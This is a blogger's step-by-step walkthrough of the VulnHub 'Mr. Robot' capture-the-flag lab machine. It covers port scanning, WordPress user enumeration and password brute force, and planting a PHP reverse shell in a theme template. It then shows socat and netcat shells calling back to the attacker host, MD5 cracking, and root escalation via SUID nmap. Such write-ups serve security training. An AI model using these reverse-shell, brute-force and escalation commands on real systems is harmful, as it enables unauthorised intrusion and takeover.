Machine link: https://www.vulnhub.com/entry/mr-robot-1,151/
This machine is based on the show Mr. Robot, and according to this post, it’s quite similar to OSCP boxes and intermediate level.
Our goal is to grab all of the 3 hidden keys, so let’s get going!
Table of Contents
- Port Scanning
- Gaining Access
- Getting a fully TTY shell
- Privilege escalation to user robot
- Privilege Escalation to root
First off I found its IP with netdiscover:
root@kali:~/Vulnhub/MrRobot# netdiscover -r 10.0.0.0/8 Currently scanning: 10.0.12.0/8 | Screen View: Unique Hosts 4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 ___________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.2.1 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.2 52:54:00:12:35:00 1 60 Unknown vendor 10.0.2.3 08:00:27:0e:fa:9c 1 60 PCS Systemtechnik GmbH 10.0.2.9 08:00:27:2b:8f:ee 1 60 PCS Systemtechnik GmbH
Since the first 3 refer to VirtualBox, the IP of the machine is 10.0.2.9.
Now it’s time to scan for open ports with nmap:
root@kali:~/Vulnhub/MrRobot# nmap -p- -sV -sC -sS -v -T5 -oN nmap.results 10.0.2.9 Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=www.example.com | Issuer: commonName=www.example.com | Public Key type: rsa | Public Key bits: 1024 | Signature Algorithm: sha1WithRSAEncryption | Not valid before: 2015-09-16T10:45:03 | Not valid after: 2025-09-13T10:45:03 | MD5: 3c16 3b19 87c3 42ad 6634 c1c9 d0aa fb97 |_SHA-1: ef0c 5fa5 931a 09a5 687c a2c2 80c4 c792 07ce f71b
Port 22 is the only one that shows closed, which means that it probably has some protection mechanism closing the connection to it, perhaps a firewall restriction.
Let’s ignore that for now and focus on the Apache server.
Since I didn’t find interesting stuff on the website, decided to look at the robots.txt:
Voila! Got the first flag! And /fsocity.dic contains a 6.9MB wordlist, perhaps this will help in some brute forcing later 😉.
Now let’s dig for more folders and files with DirBuster:
After letting it scan for a while, I noticed that the directories were indicative of a WordPress blog.
Even though the root of the website doesn’t lead to a WP blog, I decided to run wpscan to try and grab its users.
root@kali:~/Vulnhub/MrRobot# wpscan --url http://10.0.2.9/ --enumerate u _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.9.3 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://10.0.2.9/ [+] Started: Mon Feb 12 20:08:55 2018 [+] robots.txt available under: 'http://10.0.2.9/robots.txt' [!] The WordPress 'http://10.0.2.9/readme.html' file exists exposing a version number [+] Interesting header: SERVER: Apache [+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN [+] Interesting header: X-MOD-PAGESPEED: 18.104.22.168-4523 [+] XML-RPC Interface available under: http://10.0.2.9/xmlrpc.php [+] WordPress version 4.3.15 (Released on 2018-01-16) identified from rss generator, rdf generator, atom generator, links opml [!] 1 vulnerability identified from the version number [!] Title: WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched) Reference: https://wpvulndb.com/vulnerabilities/9021 Reference: https://baraktawily.blogspot.fr/2018/02/how-to-dos-29-of-world-wide-websites.html Reference: https://github.com/quitten/doser.py Reference: https://thehackernews.com/2018/02/wordpress-dos-exploit.html Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6389 [+] Enumerating plugins from passive detection ... [+] No plugins found [+] Enumerating usernames ... [+] We did not enumerate any usernames
Hmm… It failed…
After looking through the dirbuster log, I didn’t find anything that could give useful information but I remembered we have a wordlist and that there’s a particular thing about the WordPress login…
That is when you try to login with a non-existent user like “asdasd”, this happens:
However, when you login with a user that exists(and I just guessed it by the series):
Yupi! As you can see, it gave a different message on elliot, which means that elliot is a valid user.
But I just guessed it because I knew the show, I thought maybe this machine was intended to be solvable by anyone, so I tried to see if elliot was in that wordlist:
root@kali:~/Vulnhub/MrRobot# cat fsocity.dic | grep elliot elliot elliots elliot elliots elliot elliots elliot elliots elliot elliots ...
Oh boy! Indeed it was and duplicated a lot, I think now our goal is to brute force the elliot user, however, before doing so I decided to remove the duplicates since that will speed up the process.
After a quick google found this command:
root@kali:~/Vulnhub/MrRobot# sort fsocity.dic | uniq > unique.dic
Let’s check if it worked by seeing if elliot is still present:
root@kali:~/Vulnhub/MrRobot# cat unique.dic | grep elliot elliot elliots
Looks like we’re ready to hit it with brute force since it is WordPress we can just use wpscan (however hydra tends to be faster).
root@kali:~/Vulnhub/MrRobot# wpscan --url 10.0.2.9 --wordlist ~/Vulnhub/MrRobot/unique.dic --threads 50 --username elliot [+] Starting the password brute forcer [+] [SUCCESS] Login : elliot Password : ER28-0652 Brute Forcing 'elliot' Time: 00:01:25 (4040 / 11452) 35.27% ETA: 00:02:37 +----+--------+------+-----------+ | Id | Login | Name | Password | +----+--------+------+-----------+ | | elliot | | ER28-0652 | +----+--------+------+-----------+
Bam! Got a WordPress login.
Series reference: after a quick google search, I found that’s his employee number.
Looking at this panel, there’s just one thing that comes to my mind: easy reverse shell.
There are a couple of ways to do this, my way is going to Appearance->Editor then prepending the pentestmonkey’s php-reverse-shell script to the 404 template.
Now save and start a netcat listener on our kali machine:
root@kali:~/Vulnhub/MrRobot# nc -vlp 1234 listening on [any] 1234 ...
So now we force a 404.
root@kali:~/Vulnhub/MrRobot# nc -vlp 1234 listening on [any] 1234 ... 10.0.2.9: inverse host lookup failed: Unknown host connect to [10.0.2.15] from (UNKNOWN) [10.0.2.9] 33816 Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux 01:52:17 up 2:03, 0 users, load average: 0.00, 0.08, 0.23 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ id uid=1(daemon) gid=1(daemon) groups=1(daemon) $
Feeling l33t already?
Getting a fully TTY shell
Well not yet, whenever I get a shell I try to make it fully interactive(with CTRL+C working, etc…).
Following method 2 of ropnop’s, I begin to get socat on the remote machine.
For this, I use Python’s SimpleHTTPServer:
root@kali:~/Vulnhub/MrRobot/http# ls socat root@kali:~/Vulnhub/MrRobot/http# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
Now on the Mr. Robot machine:
$ cd /tmp $ ls $ wget 10.0.2.15:8000/socat --2018-02-13 02:10:29-- http://10.0.2.15:8000/socat Connecting to 10.0.2.15:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 375176 (366K) [application/octet-stream] Saving to: 'socat' 0K .......... .......... .......... .......... .......... 13% 1.80M 0s 50K .......... .......... .......... .......... .......... 27% 24.5M 0s 100K .......... .......... .......... .......... .......... 40% 29.3M 0s 150K .......... .......... .......... .......... .......... 54% 42.3M 0s 200K .......... .......... .......... .......... .......... 68% 4.47M 0s 250K .......... .......... .......... .......... .......... 81% 51.8M 0s 300K .......... .......... .......... .......... .......... 95% 315M 0s 350K .......... ...... 100% 366M=0.04s 2018-02-13 02:10:29 (8.13 MB/s) - 'socat' saved [375176/375176]
Now it’s time to make it shine, on our machine we set up the listener:
root@kali:~/Vulnhub/MrRobot/http# socat file:`tty`,raw,echo=0 tcp-listen:4444
Then, on the remote machine, we make it executable and execute it:
$ chmod +x socat; ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.2.15:4444
And here we go with a full TTY :
root@kali:~/Vulnhub/MrRobot/http# socat file:`tty`,raw,echo=0 tcp-listen:4444 daemon@linux:/tmp$
Privilege escalation to user robot
Now let’s see what the home directory brings us:
daemon@linux:/tmp$ ls /home daemon@linux:/tmp$ ls /home robot daemon@linux:/tmp$ cd /home/robot daemon@linux:/home/robot$ ls key-2-of-3.txt password.raw-md5 daemon@linux:/home/robot$
Okay, we got the seco…
daemon@linux:/home/robot$ cat key-2-of-3.txt cat: key-2-of-3.txt: Permission denied daemon@linux:/home/robot$
Huh… Ups, not yet!
daemon@linux:/home/robot$ ls -lah total 16K drwxr-xr-x 2 root root 4.0K Nov 13 2015 . drwxr-xr-x 3 root root 4.0K Nov 13 2015 .. -r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt -rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
Looks like we need to change to the robot user.
Peeking into that password.raw-md5 file:
daemon@linux:/home/robot$ cat password.raw-md5 robot:c3fcd3d76192e4007dfb496cca67e13b
Sniff sniff… Smells like a password cracking phase!
Let’s fire off hashcat with the rockyou.txt wordlist:
C:\Users\AdvSpyL3n\Documents\hashcat (master) λ hashcat64 -m 0 -a 0 c3fcd3d76192e4007dfb496cca67e13b wordlists\rockyou.txt
Ran it on my Windows machine since it used my GPU’s full potential and in a matter of seconds, I got the password: abcdefghijklmnopqrstuvwxyz.
Now we can change to robot and get the second flag:
daemon@linux:/home/robot$ su robot Password: robot@linux:~$ ls key-2-of-3.txt password.raw-md5 robot@linux:~$ cat key-2-of-3.txt 822c73956184f694993bede3eb39f959 robot@linux:~$
Privilege Escalation to root
After using the LinEnum.sh script and analyzing its output, I thought about looking for a SUID/SGID.
For that we run this command(as shown in g0tmi1k’s blog):
robot@linux:/tmp$ find / -perm -g=s -o -perm -u=s -type f 2>/dev/null /bin/ping /bin/umount /bin/mount /bin/ping6 /bin/su /usr/bin/mail-touchlock /usr/bin/passwd /usr/bin/newgrp /usr/bin/screen /usr/bin/mail-unlock /usr/bin/mail-lock /usr/bin/chsh /usr/bin/crontab /usr/bin/chfn /usr/bin/chage /usr/bin/gpasswd /usr/bin/expiry /usr/bin/dotlockfile /usr/bin/sudo /usr/bin/ssh-agent /usr/bin/wall /usr/local/bin/nmap /usr/local/share/xml /usr/local/share/xml/schema /usr/local/share/xml/declaration /usr/local/share/xml/misc /usr/local/share/xml/entities /usr/local/share/ca-certificates /usr/local/share/sgml /usr/local/share/sgml/dtd /usr/local/share/sgml/declaration /usr/local/share/sgml/stylesheet /usr/local/share/sgml/misc /usr/local/share/sgml/entities /usr/local/share/fonts /usr/local/lib/python2.7 /usr/local/lib/python2.7/dist-packages /usr/local/lib/python2.7/site-packages /usr/local/lib/python3.4 /usr/local/lib/python3.4/dist-packages /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/pt_chown /var/local /var/lib/libuuid /var/mail /sbin/unix_chkpwd
I was expecting a binary made by the maker of the challenge so I tried to look for other bunny holes…
After a while, I decided to ask a friend who had done the challenge for a hint and apparently it was in the SUID on nmap, since this has an interactive mode we can use it to spawn a shell.
robot@linux:/tmp$ /usr/local/bin/nmap –interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h for help nmap> !sh # id uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot) # cd /root# cd /root # ls firstboot_done key-3-of-3.txt # cat firstboot_done # ls -lah total 32K drwx------ 3 root root 4.0K Nov 13 2015 . drwxr-xr-x 22 root root 4.0K Sep 16 2015 .. -rw------- 1 root root 4.0K Nov 14 2015 .bash_history -rw-r--r-- 1 root root 3.2K Sep 16 2015 .bashrc drwx------ 2 root root 4.0K Nov 13 2015 .cache -rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done -r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt -rw-r--r-- 1 root root 140 Feb 20 2014 .profile -rw------- 1 root root 1.0K Sep 16 2015 .rnd # cat key-3-of-3.txt 04787ddef27c3dee1ee161b21670b4e4 #
Didn’t really like having to get a spoil on the privilege escalation but hey we got it and overall I enjoyed the challenge.
Remember the port 22 being shown as closed?
My initial thought was that there would be a “protection mechanism”, I was thinking of something like we would need to somehow authenticate somewhere for that to be open.
Well turns out that it simply was a firewall, named ufw, that serves as a front-end for Linux’s netfilter firewall.
I checked this by running:
# iptables -L ... Chain ufw-user-input (1 references) target prot opt source destination ACCEPT tcp -- anywhere anywhere tcp dpt:ssh ...
Now one would think that it is strange that it’s accepting and the port is not open, however when we see the ports used by the processes:
# netstat -natp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.1:21 0.0.0.0:* LISTEN 933/vsftpd tcp 0 0 127.0.0.1:2812 0.0.0.0:* LISTEN 1674/monit tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1473/mysqld.bin tcp 0 0 10.0.2.9:49925 10.0.2.15:1234 ESTABLISHED 1775/php-fpm: pool tcp6 0 0 :::443 :::* LISTEN 1523/httpd.bin tcp6 0 0 :::80 :::* LISTEN 1523/httpd.bin tcp6 0 0 10.0.2.9:80 10.0.2.15:38058 TIME_WAIT -
We see there’s no service on port 22, thus leaving Linux giving an RST tcp packet, the one used when a port is closed.
A pretty strange configuration but interesting enough to put me looking into it :).